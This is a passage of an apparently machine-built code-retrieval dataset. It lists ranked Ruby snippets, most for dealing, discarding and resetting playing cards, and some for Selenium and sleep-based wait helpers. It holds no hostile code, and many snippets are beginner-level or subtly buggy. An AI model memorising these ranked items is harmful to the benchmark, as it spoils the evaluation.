cmd.include? \"\\n\"\n size = @deck.length\n size -= 2\n puts deck.draw(1)\n\n #For testing. These worked, but couldn't\n #figure out how to implement on @hand\n #puts \"\\n\"\n #card1 = Card.new(2, \"Hearts\", 2)\n #card2 = Card.new(2, \"Hearts\" ,2)\n #card1.check_equal_value(card2)\n #card1.check_equal_suit(card2)\n\n puts \"\\n\"\n puts \"Cards remaining in deck: #{deck.remaining}\"\n puts \"\\n\"\n end\n end\n score = 0\n time = Time.new\n deck.display_hand\n puts \"Game over, out of cards\"\n puts \"Your score is: #{score}\"\n puts \"Enter a username: \"\n username = gets\n file = File.open(\"Leaders.txt\", \"a\")\n file.puts \"Username: #{username}\"\n file.puts \"Score: #{score}\"\n file.puts \"Date: #{time.inspect}\"\n end\n\n #o Author: Vincent Ball\n #o Purpose: gets deck size\n #o Outputs: deck size\n\tdef remaining\n @deck.length\n\tend\nend", "title": "" }, { "docid": "f3cd55e7d54809857c1ed9612d51047a", "score": "0.67784584", "text": "def clean_slate\n @chosen_cards.clear\n @chosen_cards_indexes.clear\n end", "title": "" }, { "docid": "922f01c4e059d183cc79d97b4d8d57e0", "score": "0.6765505", "text": "def reset_players_hand(current_player)\n if current_player == 0 then\n @player1_hand = []\n end\n if current_player == 1 then\n @player2_hand = []\n end\n if current_player == 2 then\n @player3_hand = []\n end\n if current_player == 3 then\n @player4_hand = []\n end\n end", "title": "" }, { "docid": "6921afb6b3d2d39a6f59c5433610772a", "score": "0.67562467", "text": "def clear_board\n @controller = GameController.new\n @playerHand = Hand.new\n @dealerHand = Hand.new\n @cardArPlayer.each { |x| x.clear }\n @cardArDealer.each { |x| x.clear }\n @winnerFlow.clear\n @dealerScore.clear\n @dealerWins.clear\n #draw the new win count for the dealers hand\n @dealerInfo.after(@dealerName) do\n @dealerScore = @shoes.para \"??\"\n @dealerWins = @shoes.para \"Wins: #{@dealerWinsCount}\"\n end\n end", "title": "" }, { "docid": "ea8737bc6cf2f0fd154fbe4e7c45814a", "score": "0.6751531", "text": "def discardCards?()\n\t\t#Checks if we have at least 4 cards in our hand.\n\t\tif checkSize()\n\t\t\ti = 0 #Index to get to the last 4 cards of your hand.\n\t\t\tj = 0 #Index to discard all 4 cards.\n\t\t\ttemp = Card.new(0, \"\")\n\t\t\t#Checking to see if the 1st and 4th cards match numbers.\n\t\t\tif checkMatchNum()\n\t\t\t\tputs \"Your two cards have matching numbers!\"\n\t\t\t\t#Iterating to the 4 cards we want to discard.\n\t\t\t\twhile i < @hand.length - 4\n\t\t\t\t\ttemp = @hand.shift()\n\t\t\t\t\[email protected](temp) #Putting cards we don't want back in our deck.\n\t\t\t\t\ti += 1\n\t\t\t\tend\n\t\t\t\t#Discards 4 cards.\n\t\t\t\twhile j < 4\n\t\t\t\t\tputs \"Discarding #{@hand.pop().printCard()}\" #Discarding cards.\n\t\t\t\t\tj += 1 \n\t\t\t\tend\n\t\t\t\tdiscardCards?() #Now that you discarded cards, have to check again if there's new stuff to discard.\n\t\t\tend\n\t\tend\n\t\tif checkSize()\n\t\t\ti = 0 #Index to get to the last 4 cards of your hand.\n\t\t\tj = 0 #Index to skip two 'middle' cards of the last four.\n\t\t\t#Checking to see if the 1st and 4th card match suits.\n\t\t\tif checkMatchSuit()\n\t\t\t\tputs \"Your two cards have matching suits!\"\n\t\t\t\t#Iterating to the middle two cards\n\t\t\t\twhile i < @hand.length - 3\n\t\t\t\t\ttemp = @hand.shift()\n\t\t\t\t\[email protected](temp)\n\t\t\t\t\ti += 1\n\t\t\t\tend\n\t\t\t\tputs \"Discarding #{@hand.pop().printCard()}\" #Discards the middle two cards.\n\t\t\t\tputs \"Discarding #{@hand.pop().printCard()}\" \n\t\t\t\[email protected](@hand.pop())\n\t\t\t\tdiscardCards?() #Now that you discarded cards, have to check again if there's new stuff to discard.\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "a6b1cd294ecc8db82a298c5acb10e870", "score": "0.67453545", "text": "def deal_cards\n print_dealing\n @active_player.personal_deck = @main_deck.cards.each_slice(@main_deck.cards.length/2).to_a[0]\n @nonactive_player.personal_deck = @main_deck.cards.each_slice(@main_deck.cards.length/2).to_a[1]\n clear_deck\n end", "title": "" }, { "docid": "63a3845c028d0cab0a3f5ab139cedf3a", "score": "0.67392987", "text": "def removeCards\n\t\[email protected]!(0,2)\n\tend", "title": "" }, { "docid": "457c974d2b1d0b7a8c3fc0c11778d551", "score": "0.6732521", "text": "def deal_card(dck, hand_names, hand_values)\n card = dck.delete_at(rand(dck.size))\n hand_names.prepend(card.values[0])\n hand_values.prepend(card.keys[0])\nend", "title": "" }, { "docid": "9571e1dabc009040d2b215bb5454af4e", "score": "0.67297876", "text": "def deal_card!(deck)\n deck.delete(deck.sample)\nend", "title": "" }, { "docid": "768cc09ea73a88540994898613f1a352", "score": "0.67267", "text": "def clearHands\n #Clears regular variables\n @player_hands = []\n end", "title": "" }, { "docid": "f87e0701eb1ae9578d47380bf244cce2", "score": "0.67181426", "text": "def display_cards(num_of_players)\n # your_card_one = @cards.sample\n # remove_card(your_card_one)\n # your_card_two = @cards.sample\n # remove_card(your_card_two)\n\n @cards.shuffle\n your_card_one = @cards.pop\n your_card_two = @cards.pop\n\n puts \"You hand: #{your_card_one[:value]} of #{your_card_one[:suit]}, #{your_card_two[:value]} of #{your_card_two[:suit]} \"\n\n 2.upto(num_of_players) do |num_of_players|\n # cpu_card_one = @cards.sample\n # remove_card(cpu_card_one)\n # cpu_card_two = @cards.sample\n # remove_card(cpu_card_two)\n\n cpu_card_one = @cards.pop\n cpu_card_two = @cards.pop\n\n puts \"CPU #{num_of_players - 1} Hand: #{cpu_card_one[:value]} of #{cpu_card_one[:suit]}, #{cpu_card_two[:value]} of #{cpu_card_two[:suit]}\"\n end\n\n # flop_one = @cards.sample\n # remove_card(flop_one)\n # flop_two = @cards.sample\n # remove_card(flop_two)\n # flop_three = @cards.sample\n # remove_card(flop_three)\n\n flop_one = @cards.pop\n flop_two = @cards.pop\n flop_three = @cards.pop\n\n puts \"Flop: #{flop_one[:value]} of #{flop_one[:suit]}, #{flop_two[:value]} of #{flop_two[:suit]}, #{flop_three[:value]} of #{flop_three[:suit]}\"\n \n # turn = @cards.sample\n # remove_card(turn)\n\n turn = @cards.pop\n \n puts \"Turn: #{turn[:value]} of #{turn[:suit]}\"\n\n # river = @cards.sample\n # remove_card(river)\n\n river = @cards.pop\n\n puts \"River: #{river[:value]} of #{river[:suit]}\"\nend", "title": "" }, { "docid": "d15a61800cd27a1f4350600ff4ffff47", "score": "0.6714468", "text": "def deal_hand\n @deck.shuffle\n @player.reset_hand\n @dealer.reset_hand\n\n 2.times do\n [@player, @dealer].each do |competitor|\n deal_card(competitor)\n end\n end\n\n @dealer.hide_hole_card\n end", "title": "" }, { "docid": "6d779f82ce6873e3e0ee43a753f7a1e9", "score": "0.6711197", "text": "def clean_up()\n @players.each do |player|\n player.hands = Array.new()\n player.hands << Hand.new(0)\n end\n @dealer.hand0.clear()\n end", "title": "" }, { "docid": "93831e9f396d4b95261f88584a2b723e", "score": "0.66963017", "text": "def reset\n @cards = []\n c = Card.new @window\n while c.value\n @cards << c.clone\n c.next!\n end\n end", "title": "" }, { "docid": "0efad75c1ca18b6babbb60aeeecf4579", "score": "0.6692068", "text": "def deal_card(current_deck,hand)\n suit = current_deck.keys.sample\n number = current_deck[suit].sample\n current_deck[suit].delete(number)\n hand[suit] << number\nend", "title": "" }, { "docid": "19dd52ca678987e4ad934d1985bff15c", "score": "0.66920066", "text": "def clear_state\r\n @state = 'normal'\r\n\t@cards = []\r\n\t@points = 0\r\n\t@bet = 0\r\n end", "title": "" }, { "docid": "6457cede309cd6289fc1770cd9beb224", "score": "0.665507", "text": "def removeCard(cardsFormASet)\n for i in 0..cardsFormASet.length-1 do\n @@cardShow.delete(cardsFormASet[i]);\n end\n end", "title": "" }, { "docid": "d8254a4cf55105b2d9c99a982aa6fe84", "score": "0.66520697", "text": "def cover_last_card(hand)\n covered_hand = hand.dup\n covered_hand.delete_at(-2)\n covered_hand\nend", "title": "" }, { "docid": "a6af20c8517a2a6afc29919430ba0c5b", "score": "0.6651151", "text": "def reset!\n @hoard = nil\n @creating = nil\n @guards = nil\n end", "title": "" }, { "docid": "d86c3c99810f965241d8bef053ac4fd8", "score": "0.66507226", "text": "def discard(arr)\n raise \"Not a valid input.\" unless arr.is_a?(Array) && arr.length < 6\n\n arr.each do |card|\n @player_hand.hand[card - 1] = 0\n end\n\n @player_hand.hand.reject! { |card| card == 0 }\n\n end", "title": "" }, { "docid": "bc0cbd8fc5485aa8f3695bd45e7a7079", "score": "0.66318953", "text": "def remove_card\n card = @cards\n card.shift()\n end", "title": "" }, { "docid": "f57cb44ea84188ea50bb716862da063b", "score": "0.66295934", "text": "def destroy\n # TODO: re-order remaining cards\n @card.destroy\n head 204\n end", "title": "" }, { "docid": "8031d57b9908a7879d79e84c030c8316", "score": "0.66221094", "text": "def deal_cards\n if @deck.length == 52\n dealer_index = @players.index(@dealer)\n 13.times do\n 4.times do |i|\n player = @players[(dealer_index+i+1)%4]\n top = @deck.last\n player.hand << top\n @deck.delete(top)\n @leader = @players[0]\n end\n end\n end\n end", "title": "" }, { "docid": "72149af48af5d25d8cb474abbba83b85", "score": "0.661383", "text": "def pop\n reset if empty?\n @cards.pop\n end", "title": "" }, { "docid": "cfe6e08fbf0856c998a19cd64deae9c1", "score": "0.66073483", "text": "def discard_cards(cards)\n cards = [] unless cards\n cards = [cards] if cards.is_a? Integer\n\n # We must remove cards one by one, otherwise we would remove too much cards\n # remember that [2, 3, 3, 4] - [2, 3] = [4] and not [3, 4]\n cards.each do |card|\n self.hand.slice!(self.hand.index(card))\n end\n\n yield(cards)\n end", "title": "" }, { "docid": "79c01fee784ef4c977dff6dadcf992dc", "score": "0.65983784", "text": "def deal_cards\n MAX_CARDS.times do |d|\n @player_manager.players.each do |player| \n player.rack.add_card(@decks_manager.draw_pile.draw_card)\n end\n end\n\n # prep the discard pile with one card from the top of the draw pile\n @decks_manager.discard_top_card\n end", "title": "" }, { "docid": "3530c06c7c1f0dfd05f3ed881902fd56", "score": "0.6598247", "text": "def deal()\n\t\[email protected]() \n\tend", "title": "" }, { "docid": "40f5134e6976151053c9402228742b98", "score": "0.65958655", "text": "def empty_hand!\n @hand = Array.new\n end", "title": "" }, { "docid": "3fa8d53aa50c1229d7be22c2b6668339", "score": "0.6594248", "text": "def deal_cards\n\t\t(1..TABLEAU_PILES).each do |n|\n\t\t\tn.times do |x| \n\t\t\t\t@tableau[n.to_s+\"D\"] << @stock_pile.shift\n\t\t\tend\n\t\t\t@tableau[n.to_s+\"U\"] << @tableau[n.to_s+\"D\"].pop \t# flip top card\n\t\tend\n\tend", "title": "" }, { "docid": "a266688c5674c2a64e61ef89c5b623fc", "score": "0.6592557", "text": "def deal_card(pack, hand = [])\n if pack.last == SHUFFLE_REMINDER # Scouts for dealers cut reminder card and removes.\n pack.pop\n puts \"After this game dealer will have to shuffle deck.\"\n sleep 3\n end\n hand << pack.pop\n end", "title": "" }, { "docid": "0b2096cf8109188d5f624b6aa5c8862a", "score": "0.6579416", "text": "def reset\n self.points = 0\n self.hand = []\n end", "title": "" }, { "docid": "7be8025fe6fae4678bec2896f0e5b3db", "score": "0.65758944", "text": "def removeCards\n @cards.slice!(0,2)\n end", "title": "" }, { "docid": "d44088b84d781abbe6e1fbd415868687", "score": "0.6573489", "text": "def reset!\n @hand = []\n @bet = 0\n\n @active = true\n @invalid = false\n @from_split = false\n \n @total_out_of_date = true\n\n self\n end", "title": "" }, { "docid": "d1cca8ea555c39110c7138dae92f66d0", "score": "0.65542334", "text": "def discard(card)\n discard_pile << card\n end", "title": "" }, { "docid": "81f02b9a74847384319461b0ad66931b", "score": "0.6551919", "text": "def replace_cards(first, second, third, deck)\n @current_cards.delete(first)\n @current_cards.delete(second)\n @current_cards.delete(third)\n fillTable(deck)\n end", "title": "" }, { "docid": "683396746d6071c88698622670215202", "score": "0.6542533", "text": "def deal_one_board_card\n\t\t\tdeal_board_cards(1)\n\t\tend", "title": "" }, { "docid": "4d156b52af801d093fbb1471133ab9a5", "score": "0.6542497", "text": "def discard!\n deck.return(self)\n self.cards = []\n end", "title": "" }, { "docid": "41c43a9e6933efabc54d262cf5c258ef", "score": "0.65405834", "text": "def take_all_cards\n taker_print\n @active_player.personal_deck = @main_deck.cards.reverse + @active_player.personal_deck\n clear_deck\n end", "title": "" }, { "docid": "83d35cceb5a4e693a12d30c067302c15", "score": "0.6538488", "text": "def discard(hand=[],drop=[])\n return_discard = []\n sort_drop = drop.sort {|a,b| b <=> a}\n sort_drop.each do |card|\n return_discard << hand[card]\n hand.delete_at(card)\n end\n return return_discard\nend", "title": "" }, { "docid": "73586af699eb9821e0c5356695735493", "score": "0.65384865", "text": "def pop\n reset if empty?\n @cards.pop\n end", "title": "" }, { "docid": "31b7f46befd70953de03dbd23f7bcc4c", "score": "0.6533259", "text": "def reset\n dealer.cards = []\n dealer.points = []\n players.each do |player|\n player.cards = []\n player.points = []\n player.bet_chips = 0\n player.insurance = false\n player.is_complete = false\n player.split_times = 0\n end\n end", "title": "" }, { "docid": "1051aebfda459d9a4be4a819efc5c26e", "score": "0.6532349", "text": "def deal_initial_cards(hand1, hand2)\n deal([], hand1)\n deal(hand1, hand2)\n deal(hand1 + hand2, hand1)\n deal(hand1 + hand2, hand2)\n end", "title": "" }, { "docid": "4e1b743d9fb1b738f2d8b0b728b4fae5", "score": "0.65283626", "text": "def deal_board_cards\n \[email protected]_card(num: 5)\n end", "title": "" }, { "docid": "977db0c7bcab427eca6e83b563e01ddd", "score": "0.6519292", "text": "def remove_card(position) end", "title": "" }, { "docid": "79fdc6988b1cf15d6b2a8fc44fc02518", "score": "0.65190697", "text": "def remove_card\n @cards.shift\n end", "title": "" }, { "docid": "79fdc6988b1cf15d6b2a8fc44fc02518", "score": "0.65190697", "text": "def remove_card\n @cards.shift\n end", "title": "" }, { "docid": "79fdc6988b1cf15d6b2a8fc44fc02518", "score": "0.65190697", "text": "def remove_card\n @cards.shift\n end", "title": "" }, { "docid": "41cdb47cd00ad13f7a737e1abc5757af", "score": "0.6518038", "text": "def deal_cards\n @log.info { 'Dealing Cards' }\n 7.times do\n @players.each(&:draw_card)\n end\n end", "title": "" }, { "docid": "8550729c5e7e24006c658b2952f0aa1a", "score": "0.65161806", "text": "def deal_cards (num)\n num.times{@play.push @deck.pop} if @deck.length >= num\n end", "title": "" }, { "docid": "cc333a6b438dba62a936e727981713de", "score": "0.65096223", "text": "def removeCards\n\t\[email protected] do |card1|\n\t\t\[email protected] do |card2|\n\t\t\t\tif card1.path == card2.path\n\t\t\t\t\[email protected](card2)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\tend\n\tend", "title": "" }, { "docid": "3a7c3ab64420c1bdc15986cde410f0c2", "score": "0.65090173", "text": "def deal!(deck, hand, num)\n\t1.upto(num) do |i| \n\t\tcard = deck.sample\n\t\thand << card\n\t\tdeck.delete(card)\n\tend\nend", "title": "" }, { "docid": "13c0c52d541638cd081a055bf5eb63fd", "score": "0.65073436", "text": "def give_hand\n \n lost = []\n\n self.hand.each do |card|\n lost << card\n end\n\n\n self.hand = []\n lost\n end", "title": "" }, { "docid": "9d49878b046c44d2c1e3f9d2d6141702", "score": "0.650717", "text": "def deal_cards\n # First calls a private method to create an array of arrays equal to the\n # number of players. Each sub array representing one players hand.\n create_empty_hands\n # Iterates over array of all hands and populates them with random cards\n # until they reach their handlimit\n @all_hands.each do |hand|\n until hand.length == @handsize do\n hand << @deck.pick_random_card\n end\n end\n end", "title": "" }, { "docid": "a1aa452851970bcb98db5683c0b54094", "score": "0.64998996", "text": "def deal_card\n @deck_of_cards.pop\n end", "title": "" }, { "docid": "02a346a8e4f0b5ca9755f5c1bc20fee9", "score": "0.6497308", "text": "def deal_one_card\n @available_cards_num -= 1\n @cards[@available_cards_num]\n end", "title": "" }, { "docid": "64112f6d1695ce7fe02060b513066ae7", "score": "0.648641", "text": "def remove_card!\n @cards.pop\n end", "title": "" } ]
68bf8c34e83fb304bbab95900a91c2fa
Methods to handle dynamic waits
[ { "docid": "f6f006acb9732608f3c24087e199c798", "score": "0.0", "text": "def wait_for_element(element)\n wait = Selenium::WebDriver::Wait.new(timeout: 60)\n wait.until { find_element(element) }\n end", "title": "" } ]
[ { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.7109904", "text": "def wait; end", "title": "" }, { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.7109904", "text": "def wait; end", "title": "" }, { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.7109904", "text": "def wait; end", "title": "" }, { "docid": "6248069c87e6eec3ac1c3ffa751f1fa0", "score": "0.7078486", "text": "def send_and_wait(type, *args); end", "title": "" }, { "docid": "0f1d7e51935ce26992b39d40f45311ef", "score": "0.7020652", "text": "def wait(arg0)\n end", "title": "" }, { "docid": "d64db49a8b063ea621c3518cd747b9a8", "score": "0.6985832", "text": "def implicit_wait; end", "title": "" }, { "docid": "0cc31f28862e071383b50dfab8efb457", "score": "0.6959381", "text": "def waiting; end", "title": "" }, { "docid": "0cc31f28862e071383b50dfab8efb457", "score": "0.6959381", "text": "def waiting; end", "title": "" }, { "docid": "c6292a85ad892bf3997d499cbc4d8c98", "score": "0.68090713", "text": "def wait\n\tend", "title": "" }, { "docid": "6a64b6fe82c54834e9e88f8d573dfa23", "score": "0.66365856", "text": "def wait!\n sleep(@sleep)\n end", "title": "" }, { "docid": "14ee4a49d794546bfa53176ffa583398", "score": "0.65678734", "text": "def wait\n sleep WAIT_TIME unless @skip_wait\n end", "title": "" }, { "docid": "9bf8a9bfea4bde92f735dcdb4f619e48", "score": "0.6563805", "text": "def wait\n loop do sleep 1 end\n end", "title": "" }, { "docid": "71d6d3b785cb892ffeee519f640a2673", "score": "0.6539497", "text": "def brute_wait(delay)\n sleep(delay)\n end", "title": "" }, { "docid": "7d01a8c622f50653a65ad840f9ad0e66", "score": "0.65175277", "text": "def wait_until\n until yield\n wait\n end\n end", "title": "" }, { "docid": "bdab5d44e07babe4ffc4ef64379f9191", "score": "0.648405", "text": "def wait_until\n until yield\n\twait\n end\n end", "title": "" }, { "docid": "f3174f1c6d3359f56c52e27a2e8c7bc2", "score": "0.6449517", "text": "def _wait_tasks\n @wait_tasks\n end", "title": "" }, { "docid": "896cf211a811fbedbcbe660b2733e054", "score": "0.6414095", "text": "def waitUntil\n until yield\n sleep 0.5\n end\nend", "title": "" }, { "docid": "886f511c4d61bd561518367b5eecb348", "score": "0.6409475", "text": "def wait\n sleep 0.0001\n end", "title": "" }, { "docid": "3707668aedab08d7c773f621096b183a", "score": "0.6392253", "text": "def wait(what = T.unsafe(nil)); end", "title": "" }, { "docid": "e1e4f2591082c791a366917879f8bc73", "score": "0.63729626", "text": "def default_wait\n @default_wait\n end", "title": "" }, { "docid": "84780f656b1f1bd281f87980800e8b8a", "score": "0.6366023", "text": "def wait_until\n until yield\n wait\n end\n end", "title": "" }, { "docid": "f8dccfdfb4135daab3df5cc0d5f7b530", "score": "0.6361206", "text": "def ev_do_calculate_rw_wait(wait); end", "title": "" }, { "docid": "deaa4cf36980b54946cec199970c3ccf", "score": "0.6335887", "text": "def wait_until timeout=10, &block\n wait = Selenium::WebDriver::Wait.new(:timeout => timeout)\n wait.until &block\nend", "title": "" }, { "docid": "f5541a3a755cf0b16672e04937967ea7", "score": "0.63037497", "text": "def wait(on=nil)\n []\n end", "title": "" }, { "docid": "e663055cebbecee35735b233000168a4", "score": "0.62869614", "text": "def implicit_wait=(seconds); end", "title": "" }, { "docid": "89f0824ec5862ce09cfb51b602b124c6", "score": "0.6264553", "text": "def wait_connection=(_arg0); end", "title": "" }, { "docid": "c8e5898b72045660988c008dbc1d56ea", "score": "0.6258533", "text": "def wait_for_pending_sends; end", "title": "" }, { "docid": "841292bf48ae1d4087efd6ca89f2d1f3", "score": "0.6258188", "text": "def wait_until_not_full; end", "title": "" }, { "docid": "d6a1fdf8d1301f127a9273fd5437b884", "score": "0.6241102", "text": "def wait\n 0\n end", "title": "" }, { "docid": "866082871559d80bc34263019e74a498", "score": "0.6220921", "text": "def pre_sleep; end", "title": "" }, { "docid": "223462dcc2712cff39e3e9988f1ac82f", "score": "0.6210648", "text": "def wait\n\t\t\t\[email protected]\n\t\t\tend", "title": "" }, { "docid": "cd090ad34824d5a0b30a697e1709af2e", "score": "0.6208001", "text": "def wait timeout: 3, &block\n wait = Selenium::WebDriver::Wait.new timeout: timeout\n wait.until(&block)\nend", "title": "" }, { "docid": "9f1d55d4580ae8532306639336fb8677", "score": "0.6175893", "text": "def wait\n true\n end", "title": "" }, { "docid": "6bc2924df1e94dd8c17f9a6c2f4a9581", "score": "0.61591625", "text": "def wait_until(index)\n\t\t@wait = index\n\tend", "title": "" }, { "docid": "e4514dd4c0571498e33c7ad106aeab5d", "score": "0.6152969", "text": "def sleepy_run; end", "title": "" }, { "docid": "fe7a94609714be65e0be355b9687bb20", "score": "0.61481917", "text": "def wait_for(seconds)\n Selenium::WebDriver::Wait.new(timeout: seconds).until { yield }\nend", "title": "" }, { "docid": "c8565bf5dd074cabb0727d7e46e88577", "score": "0.6146675", "text": "def wait *xpaths, &block\n #todo 3 raise_if_site_too_slow if respond_to?(:raise_if_site_too_slow)\n common_wait *xpaths, &block\n end", "title": "" }, { "docid": "afe58445e1b4da8954bac447f39a819d", "score": "0.61246336", "text": "def wait\r\n Ragweed::Wrap32::wait_for_single_object @h\r\n end", "title": "" }, { "docid": "fa2506df709b087cfabd19cd050225c0", "score": "0.6106151", "text": "def wait(duration, variable)\n for i in 0...duration\n @wait_time += 1 if variable\n @wait_time_thirst if variable == false \n break if i >= duration / 2\n end\n end", "title": "" }, { "docid": "a993ed775e28208a6d1dd630c264c0c0", "score": "0.6088909", "text": "def wait_for(timeout = DEFAULT_TIMEOUT)\n Selenium::WebDriver::Wait.new(:timeout => timeout).until {yield}\nend", "title": "" }, { "docid": "74321f24c6914d2992e24eb270c4d824", "score": "0.60834885", "text": "def wait_connection; end", "title": "" }, { "docid": "74321f24c6914d2992e24eb270c4d824", "score": "0.60834885", "text": "def wait_connection; end", "title": "" }, { "docid": "07632744b60e7c1fde4b622d7f8dd423", "score": "0.6081739", "text": "def wait_for_elements\n super\n @wait_on << :continue_button\n end", "title": "" }, { "docid": "a92f4e76d9e91eb4e455c4618233b422", "score": "0.6077569", "text": "def wait_until(cycle)\n until yield\n\t sleep(cycle)\n\tend\n end", "title": "" }, { "docid": "c236fdb2a433488184fb7e4bb42f990b", "score": "0.60700977", "text": "def get_waiting\n raise NotImplementedError\n end", "title": "" }, { "docid": "0fcc10d6ae794b85f25a7fc7c0eca370", "score": "0.60689324", "text": "def wait_for_launching\n sleep @delay\n end", "title": "" }, { "docid": "e69ad1c2a2816e2a619ebfd20e751696", "score": "0.60517406", "text": "def wait\n #$_api_queue.clear\n wait_for(/>/)\nend", "title": "" }, { "docid": "15d5188b0ab59cb4c8d1049c26c5b594", "score": "0.60502386", "text": "def read_wait template = not_meta\n waiter = Waiter.new(worker.make_template(template), self, !block_given?)\n worker << waiter\n if block_given?\n loop do\n yield waiter.wait\n end\n else\n result = waiter.wait\n waiter = nil\n result\n end\n ensure\n worker << Unwaiter.new(waiter) if waiter\n end", "title": "" }, { "docid": "040dfd7052b9c57d6ba289b3721cff81", "score": "0.6042743", "text": "def abs_wait_short\n wait(15)\n end", "title": "" }, { "docid": "7bd730df67811761463480dca2d660ce", "score": "0.60314256", "text": "def wait_while\n while yield\n wait\n end\n end", "title": "" }, { "docid": "5f8480297d247f1c6a6a04b838e8ea5b", "score": "0.6016884", "text": "def wait_before_and_after\r\n wait_for_browser\r\n yield\r\n wait_for_browser\r\n end", "title": "" }, { "docid": "143143fadbc17bb65611b23570c57056", "score": "0.60093164", "text": "def Wait_For_Element(locator_type, locator_value)\n for iSecond in 0..$config['Longwait']\n sleep 1\n if(@driver.find_element(\"#{locator_type}\", \"#{locator_value}\").displayed?)\n\tbreak\n else \t\n if (iSecond >= $config['Longwait']) \n return false\n @driver.find_element(\"#{locator_type}\", \"#{locator_value}\").displayed?\n break\n end\n end \n end\n return true\nend", "title": "" }, { "docid": "ca3b19345b217b5edf51cd2cf977dca1", "score": "0.5999661", "text": "def wait_readable_or_timeout; end", "title": "" }, { "docid": "1c9c6702a23023be011e2065855e9e1e", "score": "0.599785", "text": "def click_wait(locator, sec, _arg = nil)\n click_on(locator)\n wait(sec)\n end", "title": "" }, { "docid": "0fc09bbe0896ba81d0a78ca5dc0e3d45", "score": "0.59931946", "text": "def wait\n if defined? @result\n return @result\n else\n @waiters << Eventlet.current\n Eventlet.sleep\n end\n end", "title": "" }, { "docid": "7f5d495e3e5d60e5642b59ade9066020", "score": "0.5991443", "text": "def wait(seconds) \r\n\t\texec(\"Wait\", seconds.to_s)\r\n\tend", "title": "" }, { "docid": "802f2d08bfaf8befdb604273c7335fa9", "score": "0.59843206", "text": "def wait_while\n while yield\n\twait\n end\n end", "title": "" }, { "docid": "e04bcf74574eccdc57e5cee0591965d9", "score": "0.59767306", "text": "def wait_until(states)\n Timeout.timeout(timeout, Errors::Backend::EntityTimeoutError) do\n loop do\n sleep waiter_step\n refresher.call waitee\n early_fail!\n break if wanted?(states)\n end\n end\n\n yield waitee if block_given?\n end", "title": "" }, { "docid": "33bd3c38287fc497afef4bd4beaa039e", "score": "0.5969876", "text": "def wait_until(options = {}, &block)\n eventually(options, &block)\n end", "title": "" }, { "docid": "256e1934f1f0f584c083fbaec4a9e098", "score": "0.59685934", "text": "def cheap_wait; end", "title": "" }, { "docid": "bb6e13df55aa0f8277d66c113c37be19", "score": "0.5960172", "text": "def num_waiting\n end", "title": "" }, { "docid": "bb6e13df55aa0f8277d66c113c37be19", "score": "0.5960172", "text": "def num_waiting\n end", "title": "" }, { "docid": "f9592fea5f2594d899951f51b8539f3e", "score": "0.5950382", "text": "def wait(seconds)\n @waiting = seconds * 1000\n end", "title": "" }, { "docid": "40ed4b743b2baae9fea6f2a20681611b", "score": "0.59466195", "text": "def wait_for_seconds\n\t\tsleep(1 * rand + 1)\n\tend", "title": "" }, { "docid": "a33664af227902bdc04292e24147bc82", "score": "0.59252036", "text": "def wait_until\n require 'timeout'\n Timeout.timeout(Capybara.default_wait_time) do\n sleep(0.1) until (value = yield)\n value\n end\n end", "title": "" }, { "docid": "87f84f658e9492ccf377a218cbf16e53", "score": "0.59227484", "text": "def do_wait(waited)\n wait = get_config(:docker_wait)\n return unless wait.is_a?(Integer) || wait.is_a?(Float)\n return if waited >= wait\n sleep(wait - waited)\n end", "title": "" }, { "docid": "c6d57fba59cf8021d2affea906673d29", "score": "0.591892", "text": "def wait_trn\n $tester.cycle(repeat: trn + 1)\n end", "title": "" }, { "docid": "520c26ad16a2d3c81cebfd07b69248cf", "score": "0.59108126", "text": "def wait_for_elements\n super\n @wait_on << :return_button\n @wait_on << :circulation_desk_selector\n end", "title": "" }, { "docid": "9d5cc248a6ae9cf69153dd69c3514b66", "score": "0.5907372", "text": "def set_wait timeout=nil\n if timeout.nil?\n # puts \"timeout = @default_wait = @last_wait\"\n # puts \"timeout = @default_wait = #{@last_waits}\"\n timeout = @default_wait = @last_waits.first\n else\n @default_wait = timeout\n # puts \"last waits before: #{@last_waits}\"\n @last_waits = [@last_waits.last, @default_wait]\n # puts \"last waits after: #{@last_waits}\"\n end\n\n @driver.manage.timeouts.implicit_wait = timeout\n end", "title": "" }, { "docid": "367d9e65b1b68b355486959347538e39", "score": "0.5904891", "text": "def wait_for_elements\n return @wait_for_elements if defined? @wait_for_elements\n\n wait_for_elements = hash[:wait_for_elements]\n\n children = wait_for_elements.is_a?(Array) ? wait_for_elements : []\n @wait_for_elements = create_array_children(:wait_for_elements, children,\n interface: HookElementRequirements,\n location: location + '[wait_for_elements]')\n\n @wait_for_elements\n end", "title": "" }, { "docid": "a022075fdbdf7fd3cae72ec448fdfe05", "score": "0.5896542", "text": "def hard_test\n wait(10) # let some capacitor get up some charge.\n \n 5.times do\n wait(5)\n cmd(\"CFS CFS_WHE_OBS_START\")\n wait(5) \n cmd(\"CFS CFS_WHE_HTR_ON\")\n wait(5)\n cmd(\"CFS CFS_WHE_LOUVER_CLOSE\")\n wait(5)\n \n end\nend", "title": "" }, { "docid": "57c81bd8ea0444bdf0513fdb3fb847e7", "score": "0.5894418", "text": "def make_command_waiting\r\n self.class.send :alias_method, :command, :command_and_wait\r\n yield\r\n self.class.send :alias_method, :command, :command_verbatim \r\n end", "title": "" }, { "docid": "dded538b19697ee9eba7ccda36bc0abe", "score": "0.5893194", "text": "def click_wait\n @webpage.click_wait(@locator)\n end", "title": "" }, { "docid": "40160c57e02d3e0f139776a8c86f3501", "score": "0.58929193", "text": "def wait(duration)\n info \"Request from Experiment Script: Wait for #{duration}s....\"\n warn \"Calling 'wait' or 'sleep' will block entire EC event loop. Please try 'after' or 'every'\"\n sleep duration\n end", "title": "" }, { "docid": "14fadcf2132294c8977d0c82d0f10b73", "score": "0.58908105", "text": "def wait_for timeout = 0, &condition\n if condition\n SeleniumAdapter.wait_for(timeout, &condition)\n return nil\n else\n @wait_for = timeout\n return self\n end\n end", "title": "" }, { "docid": "3592df576318a3ee1f459bc1c09423c1", "score": "0.5889968", "text": "def wait_for(seconds = timeout)\n Selenium::WebDriver::Wait.new(timeout: seconds).until { yield }\n end", "title": "" }, { "docid": "54f08c30cecf19a3029160d82049fcf7", "score": "0.584641", "text": "def wait_until\n poll do\n transition! if yield\n end\n end", "title": "" }, { "docid": "db1a09339d620d037d20f619a2944ed0", "score": "0.58352035", "text": "def wait_while\n while yield\n wait\n end\n end", 